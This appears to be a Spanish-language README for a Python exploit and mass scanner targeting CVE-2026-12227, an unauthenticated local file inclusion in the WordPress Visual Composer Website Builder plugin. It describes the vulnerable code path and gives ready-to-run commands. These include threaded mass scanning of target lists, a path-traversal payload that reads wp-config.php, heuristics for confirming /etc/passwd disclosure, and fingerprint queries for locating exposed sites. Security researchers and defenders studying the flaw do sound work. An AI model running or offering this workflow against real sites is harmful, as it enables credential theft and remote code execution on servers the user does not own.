
PoC y escáner en Python 3 para CVE-2026-12227, una inclusión de archivos locales no autenticada en WordPress Visual Composer Website Builder a través del parámetro vcv-template.
PoC en Python 3 para CVE-2026-12227 (Wordfence): Inclusión Local de Archivos a través del parámetro de consulta vcv-template en Visual Composer Website Builder (visualcomposer en wordpress.org).
| Plataforma | Plugin de WordPress |
| Componente | Visual Composer Website Builder |
| Afectado | ≤ 45.16.0 |
| Corregido en | > 45.16.0 (WP Trac 3619572) — usar la última versión estable (p. ej. 45.16.3+) |
| CVSS | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticación | No autenticado |
| CWE | CWE-98 |
| No | WPBakery (js_composer) ni SAP NetWeaver Visual Composer |
En las versiones vulnerables, las cargas de páginas públicas respetan el parámetro vcv-template controlado por el atacante (junto con vcv-template-type) durante el manejo de template_include de WordPress dentro de PageTemplatesController. Esto puede incluir archivos elegidos por el atacante en el disco; los archivos PHP pueden ejecutarse (RCE). Wordfence señala cadenas con extensiones "seguras" subidas en algunas configuraciones.
?vcv-template-type=vc&vcv-template=blank o rutas LFI bajo vcv-template.vcv-template-type, vcv-template-stretched.pip install -r requirements.txt
Python 3.8+.
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
| Archivo | Significado |
|---|---|
cve_2026_12227_results.jsonl | JSON completo por objetivo |
hits.txt | Nombres de host candidatos |
candidates.jsonl | Resumen del modo check (page_url, status, lfi) |
| Estado | Significado |
|---|---|
lfi_confirmed | La respuesta coincide con las heurísticas de wp-config / /etc/passwd / version.php |
vcv_template_controllable | vcv-template=blank cambia el diseño respecto a la línea base (parámetro vulnerable respetado) |
plugin_vuln_no_surface | Versión antigua del plugin pero sin página VC o parámetro ignorado |
no_vc_page | Plugin presente, sin marcadores VC en las rutas rastreadas |
patched | Versión > 45.16.0 |
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).exploitable_candidate; confirmar en un clon de staging antes de asumir RCE.Usar solo en sistemas que posea o para los que tenga permiso explícito de prueba.